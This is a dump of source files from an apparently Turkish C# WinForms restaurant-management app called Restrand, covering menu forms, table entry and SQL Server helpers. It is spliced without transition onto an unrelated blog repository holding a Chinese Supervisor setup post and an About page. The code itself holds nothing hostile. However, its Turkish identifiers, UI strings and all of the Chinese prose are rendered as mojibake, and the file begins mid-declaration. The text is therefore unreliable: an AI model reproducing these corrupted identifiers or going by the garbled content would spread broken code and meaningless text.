System.Windows.Forms.Button btnRandevuBilgi; private System.Windows.Forms.ListBox lstEklenenUrun; private System.Windows.Forms.ListBox lstEklenenRandevu; public System.Windows.Forms.ListBox lstEklenenMasa; } } ``` AnaMenu.Designer.cs ```๏ปฟnamespace Restrand { partial class AnaMenu { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.menuStrip1 = new System.Windows.Forms.MenuStrip(); this.iรงeceklerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.yฤฐYECEKLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sOฤžUKฤฐร‡ECEKLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sICAKฤฐร‡ECEKLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.gรœNEBAลžLARKENToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tATLIKAHVALTILARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aTIลžTIRMALIKLARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sALATALARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tATLILARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aNAYEMEKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.kร–YKAHVALTISIToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sERPMEKAHVALTIToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.menuStrip1.SuspendLayout(); this.SuspendLayout(); // // menuStrip1 // this.menuStrip1.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162))); this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.iรงeceklerToolStripMenuItem, this.yฤฐYECEKLERToolStripMenuItem}); this.menuStrip1.Location = new System.Drawing.Point(0, 0); this.menuStrip1.Name = "menuStrip1"; this.menuStrip1.Size = new System.Drawing.Size(1111, 38); this.menuStrip1.TabIndex = 1; this.menuStrip1.Text = "menuStrip1"; this.menuStrip1.ItemClicked += new System.Windows.Forms.ToolStripItemClickedEventHandler(this.MenuStrip1_ItemClicked); // // iรงeceklerToolStripMenuItem // this.iรงeceklerToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.sOฤžUKฤฐร‡ECEKLERToolStripMenuItem, this.sICAKฤฐร‡ECEKLERToolStripMenuItem}); this.iรงeceklerToolStripMenuItem.Name = "iรงeceklerToolStripMenuItem"; this.iรงeceklerToolStripMenuItem.Size = new System.Drawing.Size(125, 34); this.iรงeceklerToolStripMenuItem.Text = "ฤฐร‡ECEKLER"; this.iรงeceklerToolStripMenuItem.TextAlign = System.Drawing.ContentAlignment.TopLeft; // // yฤฐYECEKLERToolStripMenuItem // this.yฤฐYECEKLERToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.gรœNEBAลžLARKENToolStripMenuItem, this.aTIลžTIRMALIKLARToolStripMenuItem, this.sALATALARToolStripMenuItem, this.tATLILARToolStripMenuItem, this.aNAYEMEKToolStripMenuItem}); this.yฤฐYECEKLERToolStripMenuItem.Name = "yฤฐYECEKLERToolStripMenuItem"; this.yฤฐYECEKLERToolStripMenuItem.Size = new System.Drawing.Size(136, 34); this.yฤฐYECEKLERToolStripMenuItem.Text = "YฤฐYECEKLER"; // // sOฤžUKฤฐร‡ECEKLERToolStripMenuItem // this.sOฤžUKฤฐร‡ECEKLERToolStripMenuItem.Name = "sOฤžUKฤฐร‡ECEKLERToolStripMenuItem"; this.sOฤžUKฤฐร‡ECEKLERToolStripMenuItem.Size = new System.Drawing.Size(259, 34); this.sOฤžUKฤฐร‡ECEKLERToolStripMenuItem.Text = "SOฤžUK ฤฐร‡ECEKLER"; // // sICAKฤฐร‡ECEKLERToolStripMenuItem // this.sICAKฤฐร‡ECEKLERToolStripMenuItem.Name = "sICAKฤฐร‡ECEKLERToolStripMenuItem"; this.sICAKฤฐร‡ECEKLERToolStripMenuItem.Size = new System.Drawing.Size(259, 34); this.sICAKฤฐร‡ECEKLERToolStripMenuItem.Text = "SICAK ฤฐร‡ECEKLER"; // // gรœNEBAลžLARKENToolStripMenuItem // this.gรœNEBAลžLARKENToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.tATLIKAHVALTILARToolStripMenuItem, this.kร–YKAHVALTISIToolStripMenuItem, this.sERPMEKAHVALTIToolStripMenuItem}); this.gรœNEBAลžLARKENToolStripMenuItem.Name = "gรœNEBAลžLARKENToolStripMenuItem"; this.gรœNEBAลžLARKENToolStripMenuItem.Size = new System.Drawing.Size(261, 34); this.gรœNEBAลžLARKENToolStripMenuItem.Text = "GรœNE BAลžLARKEN"; // // tATLIKAHVALTILARToolStripMenuItem // this.tATLIKAHVALTILARToolStripMenuItem.Name = "tATLIKAHVALTILARToolStripMenuItem"; this.tATLIKAHVALTILARToolStripMenuItem.Size = new System.Drawing.Size(272, 34); this.tATLIKAHVALTILARToolStripMenuItem.Text = "TATLI KAHVALTILAR"; // // aTIลžTIRMALIKLARToolStripMenuItem // this.aTIลžTIRMALIKLARToolStripMenuItem.Name = "aTIลžTIRMALIKLARToolStripMenuItem"; this.aTIลžTIRMALIKLARToolStripMenuItem.Size = new System.Drawing.Size(261, 34); this.aTIลžTIRMALIKLARToolStripMenuItem.Text = "ATIลžTIRMALIK"; // // sALATALARToolStripMenuItem // this.sALATALARToolStripMenuItem.Name = "sALATALARToolStripMenuItem"; this.sALATALARToolStripMenuItem.Size = new System.Drawing.Size(261, 34); this.sALATALARToolStripMenuItem.Text = "SALATA"; // // tATLILARToolStripMenuItem // this.tATLILARToolStripMenuItem.Name = "tATLILARToolStripMenuItem"; this.tATLILARToolStripMenuItem.Size = new System.Drawing.Size(261, 34); this.tATLILARToolStripMenuItem.Text = "TATLI"; // // aNAYEMEKToolStripMenuItem // this.aNAYEMEKToolStripMenuItem.Name = "aNAYEMEKToolStripMenuItem"; this.aNAYEMEKToolStripMenuItem.Size = new System.Drawing.Size(261, 34); this.aNAYEMEKToolStripMenuItem.Text = "ANA YEMEK"; // // kร–YKAHVALTISIToolStripMenuItem // this.kร–YKAHVALTISIToolStripMenuItem.Name = "kร–YKAHVALTISIToolStripMenuItem"; this.kร–YKAHVALTISIToolStripMenuItem.Size = new System.Drawing.Size(272, 34); this.kร–YKAHVALTISIToolStripMenuItem.Text = "Kร–Y KAHVALTISI"; // // sERPMEKAHVALTIToolStripMenuItem // this.sERPMEKAHVALTIToolStripMenuItem.Name = "sERPMEKAHVALTIToolStripMenuItem"; this.sERPMEKAHVALTIToolStripMenuItem.Size = new System.Drawing.Size(272, 34); this.sERPMEKAHVALTIToolStripMenuItem.Text = "SERPME KAHVALTI"; // // AnaMenu // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1111, 597); this.Controls.Add(this.menuStrip1); this.IsMdiContainer = true; this.MainMenuStrip = this.menuStrip1; this.Name = "AnaMenu"; this.Text = "AnaMenu"; this.menuStrip1.ResumeLayout(false); this.menuStrip1.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.MenuStrip menuStrip1; private System.Windows.Forms.ToolStripMenuItem iรงeceklerToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem yฤฐYECEKLERToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sOฤžUKฤฐร‡ECEKLERToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sICAKฤฐร‡ECEKLERToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem gรœNEBAลžLARKENToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem tATLIKAHVALTILARToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem kร–YKAHVALTISIToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sERPMEKAHVALTIToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aTIลžTIRMALIKLARToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sALATALARToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem tATLILARToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aNAYEMEKToolStripMenuItem; } }``` Urun.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Restrand { public abstract class Urun:Restaurant { public string UrunAdi { get; set; } public int UrunAdet { get; set; } public float UrunFiyat { get; set; } } }``` Istatistik.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Restrand { public abstract class Istatistik:Restaurant { public int RandevuAdet { get; set; } public int BasariliRandevu { get; set; } } }``` Masa.cs ```๏ปฟusing System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Data.SqlClient; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Restrand { public partial class Masa : Form { public Masa() { InitializeComponent(); using(SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); conn.Open(); using (SqlCommand selectCommand = new SqlCommand(Utils.SelectMasaKonumu, conn)) { SqlDataReader dr = selectCommand.ExecuteReader(); while (dr.Read()) { cbMasaKonumu.Items.Add(dr[0]); } } } } private void BtnMasaEkle_Click(object sender, EventArgs e) { if (cbMasaKonumu.SelectedIndex == -1) { MessageBox.Show("Masa eklemek iรงin seรงili bir masa konumu olmasฤฑ gerek"); return; } if (txtSandSayi.Text.Trim() == "" || txtMasaNumarasi.Text.Trim() == "") { MessageBox.Show("Lรผtfen tรผm alanlarฤฑ doldurunuz"); return; } MasaBilgileri masa = new MasaBilgileri() { masaKonumu = cbMasaKonumu.SelectedItem.ToString(), sandalyeSayisi = Convert.ToInt32(txtSandSayi.Text) }; using (SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); conn.Open(); using (SqlCommand insertCommand = new SqlCommand(Utils.InsertMasaBilgileri, conn)) { insertCommand.Parameters.AddWithValue("@masaNumarasi", txtMasaNumarasi.Text); insertCommand.Parameters.AddWithValue("@masaKonumu", cbMasaKonumu.SelectedItem); insertCommand.Parameters.AddWithValue("@sandalyeSayisi", txtSandSayi.Text); insertCommand.ExecuteNonQuery(); MessageBox.Show("Masa Kaydedildi"); } conn.Close(); } // Restrand formunun lstEklenenMasa adlฤฑ listesine eriลŸebilmek iรงin // ilk รถnce listenin "Modifier'ฤฑnฤฑ" public yapฤฑyoruz(Arayรผz รœzerinden) // Daha sonra aลŸaฤŸฤฑdaki ลŸekilde forma eriลŸebiliyoruz. Form f = Application.OpenForms["Restrand"]; ((Restrand)f).lstEklenenMasa.Items.Add(masa); lstEklenenMasalar.Items.Add(masa); txtSandSayi.Clear(); } private void BtnMasaKonumuEkle_Click(object senders, EventArgs e) { Form KonumEkle = new Form() { Text = "Masa Konumu Ekle", Size = new Size(252, 473), StartPosition = this.StartPosition, TopMost = true }; Label lblMasaKonumu = new Label { Text = "Masa Konumu", TextAlign = ContentAlignment.TopLeft, Location = new Point(28, 9), Size = new Size(75, 13), }; TextBox txtMasaKonumu = new TextBox { Anchor = AnchorStyles.Top | AnchorStyles.Right | AnchorStyles.Left, Location = new Point(28, 25), Size = new Size(173, 20), }; ListBox lstMasaKonumu = new ListBox { Anchor = AnchorStyles.Top | AnchorStyles.Right | AnchorStyles.Bottom | AnchorStyles.Left, Location = new Point(28, 50), Size = new Size(173, 325) }; Button btnKonumEkle = new Button { Text = "Ekle", Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left, Location = new Point(29, 370), Size = new Size(172, 28) }; Button btnKonumSil = new Button { Text = "Sil", Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left, Location = new Point(29, 400), Size = new Size(172, 28) }; KonumEkle.Controls.Add(lblMasaKonumu); KonumEkle.Controls.Add(txtMasaKonumu); KonumEkle.Controls.Add(lstMasaKonumu); KonumEkle.Controls.Add(btnKonumEkle); KonumEkle.Controls.Add(btnKonumSil); using(SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); conn.Open(); using(SqlCommand selectCommand = new SqlCommand(Utils.SelectMasaKonumu, conn)) { SqlDataReader dr = selectCommand.ExecuteReader(); while (dr.Read()) { lstMasaKonumu.Items.Add(dr[0]); } } } KonumEkle.Show(); btnKonumEkle.Focus(); btnKonumEkle.Click += (sender, args) => { for (int i = 0; i < lstMasaKonumu.Items.Count; i++) { if (lstMasaKonumu.Items[i].ToString() == txtMasaKonumu.Text.Trim()) { MessageBox.Show("Zaten bรถyle bir konum var"); return; } } if (!string.IsNullOrWhiteSpace(txtMasaKonumu.Text)) { using (SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); conn.Open(); using (SqlCommand insertCommand = new SqlCommand(Utils.InsertMasaKonumu, conn)) { insertCommand.Parameters.AddWithValue("@masaKonumuAd", txtMasaKonumu.Text); insertCommand.ExecuteNonQuery(); } conn.Close(); } lstMasaKonumu.Items.Add(txtMasaKonumu.Text); cbMasaKonumu.Items.Add(txtMasaKonumu.Text); txtMasaKonumu.Clear(); }; }; btnKonumSil.Click += (sender, args) => { if (lstMasaKonumu.SelectedIndex != -1) { using (SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); conn.Open(); using (SqlCommand deleteCommand = new SqlCommand(Utils.DeleteMasaKonumu, conn)) { deleteCommand.Parameters.AddWithValue("@masaKonumuAd", lstMasaKonumu.SelectedItem); deleteCommand.ExecuteNonQuery(); cbMasaKonumu.Items.Remove(lstMasaKonumu.SelectedItem); lstMasaKonumu.Items.Remove(lstMasaKonumu.SelectedItem); } conn.Close(); } } else { MessageBox.Show("Silmek iรงin lรผtfen bir masa seรงiniz!"); } }; } private void CbMasaKonumu_SelectedIndexChanged(object sender, EventArgs e) { } } } ``` Utils.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Restrand { static class Utils { /** @string ServerName[server adฤฑ] Local bilgisayarฤฑn adฤฑnฤฑ tutar @string DatabaseName[veritabanฤฑ adฤฑ]* "RESTRAND_DB_NAME" adฤฑnda bir deฤŸiลŸken varsa deฤŸerini alฤฑr @string DatabaseUsername[veritabanฤฑ kullanฤฑcฤฑ adฤฑ]* "RESTRAND_DB_USERNAME" adฤฑnda bir deฤŸiลŸken varsa deฤŸerini alฤฑr @string DatabasePassword[veritabanฤฑ kullanฤฑcฤฑ ลŸifresi]* "RESTRAND_DB_PASSWORD" adฤฑnda bir deฤŸiลŸken varsa deฤŸerini alฤฑr GeliลŸtirici environment variable iรงinde yukarฤฑda ki gerekli (*) deฤŸiลŸkenleri ve karลŸฤฑlฤฑklarฤฑnฤฑ tutmalฤฑdฤฑr. Environment variable oluลŸturma รถrnek(CMD): setx RESTRAND_DB_NAME "db_adi_รถrnek" */ public static string ServerName { get; } = Environment.GetEnvironmentVariable("USERDOMAIN"); public static string DatabaseName { get; } = Environment.GetEnvironmentVariable("RESTRAND_DB_NAME"); public static string DatabaseUsername { get; } = Environment.GetEnvironmentVariable("RESTRAND_DB_USERNAME"); public static string DatabasePassword { get; } = Environment.GetEnvironmentVariable("RESTRAND_DB_PASSWORD"); public static string ConnectionString(string serverName = null, string databaseName = null, string databaseUsername = null, string databasePassword = null) { // EฤŸer parametre verilmez ise varsayฤฑlan verileri atar aksi takdirde verilen deฤŸeri atar. string dbServerName = string.IsNullOrEmpty(serverName) ? ServerName : serverName; string dbName = string.IsNullOrEmpty(databaseName) ? DatabaseName : databaseName; string dbUsername = string.IsNullOrEmpty(databaseUsername) ? DatabaseUsername : databaseUsername; string dbPassword = string.IsNullOrEmpty(databasePassword) ? DatabasePassword : databasePassword; string connectionString = $"Data Source={dbServerName}; Initial Catalog={dbName};" + $"User id={dbUsername}; Password={dbPassword};"; return connectionString; } public static string SelectMasaBilgileri { get; } = "SELECT * FROM MasaBilgileri"; public static string InsertMasaBilgileri { get; } = "INSERT INTO MasaBilgileri ([MasaNumarasi], [MasaKonumu], [SandalyeSayisi]) VALUES(@masaNumarasi, @masaKonumu, @sandalyeSayisi)"; public static string SelectMasaKonumu { get; } = "SELECT * FROM MasaKonumu"; public static string InsertMasaKonumu { get; } = "INSERT INTO MasaKonumu ([MasaKonumuAd]) VALUES(@masaKonumuAd)"; public static string DeleteMasaKonumu { get; } = "DELETE FROM MasaKonumu WHERE MasaKonumuAd = @masaKonumuAd"; } } ``` Restaurant.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Restrand { public abstract class Restaurant { public abstract int MasaSayisi(); public abstract int SandelyeSayisi(); public abstract string MasaKonumu(); public abstract object Menu(); } }``` Program.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace Restrand { static class Program { /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); // Veritabanฤฑ baฤŸlantฤฑsฤฑ saฤŸlanamazsa Exception mesajฤฑ dรถndรผr using (SqlConnection conn = new SqlConnection()) { conn.ConnectionString = Utils.ConnectionString(); try { conn.Open(); conn.Close(); Application.Run(new Restrand()); } catch (Exception) { MessageBox.Show("Veritabanฤฑ ile baฤŸlantฤฑ saฤŸlanamadฤฑ. " + "Lรผtfen geliลŸtiriciniz ile iletiลŸime geรงiniz", "VERฤฐTABANI BAฤžLANTI HATASI", MessageBoxButtons.OK, MessageBoxIcon.Error); } }; } } } ``` MasaBilgileri.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Restrand { public class MasaBilgileri { static int masaSayisi = 0; public int MasaSayisi() { return masaSayisi; } public MasaBilgileri() { // Her รถrnek oluลŸturulduฤŸunda masa sayฤฑsฤฑnฤฑ 1 artฤฑr masaSayisi++; } public int sandalyeSayisi; public string masaKonumu; public override string ToString() { return $"Konum: {masaKonumu}, San: {sandalyeSayisi}"; } } }``` MusteriBilgileri.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Restrand { public class MusteriBilgileri { public string Adi; public string Soyadi; public int TelNo; } }``` Masa.Designer.cs ```๏ปฟnamespace Restrand { partial class Masa { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.txtSandSayi = new System.Windows.Forms.TextBox(); this.label3 = new System.Windows.Forms.Label(); this.lstEklenenMasalar = new System.Windows.Forms.ListBox(); this.btnMasaEkle = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label(); this.txtMasaNumarasi = new System.Windows.Forms.TextBox(); this.cbMasaKonumu = new System.Windows.Forms.ComboBox(); this.btnMasaKonumuEkle = new System.Windows.Forms.Button(); this.SuspendLayout(); // // txtSandSayi // this.txtSandSayi.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.txtSandSayi.Location = new System.Drawing.Point(28, 103); this.txtSandSayi.Name = "txtSandSayi"; this.txtSandSayi.Size = new System.Drawing.Size(173, 20); this.txtSandSayi.TabIndex = 13; // // label3 // this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.label3.AutoSize = true; this.label3.Location = new System.Drawing.Point(26, 87); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(81, 13); this.label3.TabIndex = 12; this.label3.Text = "Sandelye Sayisฤฑ"; // // lstEklenenMasalar // this.lstEklenenMasalar.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.lstEklenenMasalar.FormattingEnabled = true; this.lstEklenenMasalar.Location = new System.Drawing.Point(29, 130); this.lstEklenenMasalar.Name = "lstEklenenMasalar"; this.lstEklenenMasalar.Size = new System.Drawing.Size(173, 251); this.lstEklenenMasalar.TabIndex = 11; // // btnMasaEkle // this.btnMasaEkle.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.btnMasaEkle.Location = new System.Drawing.Point(29, 398); this.btnMasaEkle.Name = "btnMasaEkle"; this.btnMasaEkle.Size = new System.Drawing.Size(172, 28); this.btnMasaEkle.TabIndex = 10; this.btnMasaEkle.Text = "Ekle"; this.btnMasaEkle.UseVisualStyleBackColor = true; this.btnMasaEkle.Click += new System.EventHandler(this.BtnMasaEkle_Click); // // label2 // this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.label2.AutoSize = true; this.label2.Location = new System.Drawing.Point(26, 9); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(75, 13); this.label2.TabIndex = 9; this.label2.Text = "Masa Konumu"; // // label1 // this.label1.AutoSize = true; this.label1.Location = new System.Drawing.Point(26, 48); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(80, 13); this.label1.TabIndex = 15; this.label1.Text = "Masa Numarasฤฑ"; // // txtMasaNumarasi // this.txtMasaNumarasi.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.txtMasaNumarasi.Location = new System.Drawing.Point(29, 64); this.txtMasaNumarasi.Name = "txtMasaNumarasi"; this.txtMasaNumarasi.Size = new System.Drawing.Size(173, 20); this.txtMasaNumarasi.TabIndex = 16; // // cbMasaKonumu // this.cbMasaKonumu.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.cbMasaKonumu.FormattingEnabled = true; this.cbMasaKonumu.Location = new System.Drawing.Point(28, 25); this.cbMasaKonumu.Name = "cbMasaKonumu"; this.cbMasaKonumu.Size = new System.Drawing.Size(145, 21); this.cbMasaKonumu.TabIndex = 17; this.cbMasaKonumu.SelectedIndexChanged += new System.EventHandler(this.CbMasaKonumu_SelectedIndexChanged); // // btnMasaKonumuEkle // this.btnMasaKonumuEkle.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.btnMasaKonumuEkle.BackgroundImage = global::Restrand.Properties.Resources.baseline_add_black_18dp; this.btnMasaKonumuEkle.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; this.btnMasaKonumuEkle.FlatAppearance.BorderSize = 0; this.btnMasaKonumuEkle.Font = new System.Drawing.Font("Microsoft Sans Serif", 12.75F, System.Drawing.FontStyle.Bold); this.btnMasaKonumuEkle.Location = new System.Drawing.Point(179, 25); this.btnMasaKonumuEkle.Name = "btnMasaKonumuEkle"; this.btnMasaKonumuEkle.Size = new System.Drawing.Size(23, 23); this.btnMasaKonumuEkle.TabIndex = 18; this.btnMasaKonumuEkle.UseVisualStyleBackColor = true; this.btnMasaKonumuEkle.Click += new System.EventHandler(this.BtnMasaKonumuEkle_Click); // // Masa // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(236, 434); this.Controls.Add(this.btnMasaKonumuEkle); this.Controls.Add(this.cbMasaKonumu); this.Controls.Add(this.txtMasaNumarasi); this.Controls.Add(this.label1); this.Controls.Add(this.txtSandSayi); this.Controls.Add(this.label3); this.Controls.Add(this.lstEklenenMasalar); this.Controls.Add(this.btnMasaEkle); this.Controls.Add(this.label2); this.Name = "Masa"; this.Text = "Masa Ekle"; this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.TextBox txtSandSayi; private System.Windows.Forms.Label label3; private System.Windows.Forms.ListBox lstEklenenMasalar; private System.Windows.Forms.Button btnMasaEkle; private System.Windows.Forms.Label label2; private System.Windows.Forms.Label label1; private System.Windows.Forms.TextBox txtMasaNumarasi; private System.Windows.Forms.ComboBox cbMasaKonumu; private System.Windows.Forms.Button btnMasaKonumuEkle; } }```
yunxi177/blog
yunxi177/blog supervisor.md ```+++ title = "Supervisor ๅฎ‰่ฃ…ไธŽไฝฟ็”จ" date = 2018-09-04T11:22:14+08:00 tags = ["linux"] categories = ["linux"] +++ # ็ฎ€ไป‹ supervisor็ฎก็†่ฟ›็จ‹๏ผŒๆ˜ฏ้€š่ฟ‡fork/exec็š„ๆ–นๅผๅฐ†่ฟ™ไบ›่ขซ็ฎก็†็š„่ฟ›็จ‹ๅฝ“ไฝœsupervisor็š„ๅญ่ฟ›็จ‹ๆฅๅฏๅŠจ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅช้œ€่ฆๅฐ†่ฆ็ฎก็†่ฟ›็จ‹็š„ๅฏๆ‰ง่กŒๆ–‡ไปถ็š„่ทฏๅพ„ๆทปๅŠ ๅˆฐsupervisor็š„้…็ฝฎๆ–‡ไปถไธญๅฐฑๅฅฝไบ†ใ€‚ๆญคๆ—ถ่ขซ็ฎก็†่ฟ›็จ‹่ขซ่ง†ไธบsupervisor็š„ๅญ่ฟ›็จ‹๏ผŒ่‹ฅ่ฏฅๅญ่ฟ›็จ‹ๅผ‚ๅธธไธญๆ–ญ๏ผŒๅˆ™็ˆถ่ฟ›็จ‹ๅฏไปฅๅ‡†็กฎ็š„่Žทๅ–ๅญ่ฟ›็จ‹ๅผ‚ๅธธไธญๆ–ญ็š„ไฟกๆฏ๏ผŒ้€š่ฟ‡ๅœจ้…็ฝฎๆ–‡ไปถไธญ่ฎพ็ฝฎautostart=ture๏ผŒๅฏไปฅๅฎž็Žฐๅฏนๅผ‚ๅธธไธญๆ–ญ็š„ๅญ่ฟ›็จ‹็š„่‡ชๅŠจ้‡ๅฏใ€‚ # ๅฎ‰่ฃ… `sudo apt-get install supervisor` # ้…็ฝฎ - ่ฟ›ๅ…ฅ้…็ฝฎๆ–‡ไปถ็›ฎๅฝ• : `cd /etc/supervisor/conf.d` - ๆ–ฐๅปบ้…็ฝฎๆ–‡ไปถ `sudo vim test.conf` ้…็ฝฎๅ†…ๅฆ‚ๅฆ‚ไธ‹๏ผš ``` [program:cow] command=/home/argericy/workspace/test #่ฆๆ‰ง่กŒ็š„ๅ‘ฝไปค autostart=true #่‡ชๅŠจๅฏๅŠจ autorestart=true #่‡ชๅŠจ้‡ๅฏ user=root #ๆ‰ง่กŒๅ‘ฝไปค็”จๆˆท log_stderr=true logfile=/var/log/test.log #ๆ—ฅๅฟ—ๆ–‡ไปถ stopsignal=INT [supervisord] ``` # ๅธธ่ง้—ฎ้ข˜ ## supervisor Error: .ini file does not include supervisord section ๅœจ้…็ฝฎๆ–‡ไปถไธญๅขžๅŠ  `[supervisord]` ้…็ฝฎ้กน ``` _index.md ```+++ date = "2015-06-20T14:02:37+02:00" title = "About" hidden = true +++ ไฝœไธบไธ€ๅphperๅ…ฅ่กŒ๏ผŒๅฆ‚ไปŠๅทฒไธ‰่ฝฝๆœ‰ไฝ™ใ€‚ไธ€่ทฏๆ‰“ๆ€ชๅ‡็บง๏ผŒไธๆ•ขๅฆ„็งฐๅฐๆˆ๏ผŒไปไปฅไธ€้ข—ๅˆๅฟƒ๏ผŒๅ†™็€่‡ชๅทฑ็š„ไปฃ็ ๏ผŒๆˆ‘็ƒญ็ˆฑ็”Ÿๆดป๏ผŒๅ…ถๆฌกๆ˜ฏ่‰บๆœฏ๏ผŒ่ฎค็œŸ็š„ๅ†™ๅฅฝๆฏ่กŒไปฃ็ ๏ผŒๆˆ‘ไธบๆˆ‘็š„ๆฏ่กŒไปฃ็ ่ดŸ่ดฃใ€‚ ๅ–œๆฌข้’ป็ ”ๆŠ€ๆœฏ๏ผŒๆฌข่ฟŽๅ„ไฝๅŒ้“ไธญไบบ๏ผŒ็›ธไบ’ๆŽข่ฎจ๏ผŒ็›ธไบ’ๅญฆไน ใ€‚ *** ### ๆŠ€่ƒฝๆ ‘ - php - swoole - swoft - thinkphp - yii2 - mysql - sqlไผ˜ๅŒ– - ่ฏปๅ†™ๅˆ†็ฆป - ไธปไปŽๅคๅˆถ - golang - begoo - hugo - linux - shell - 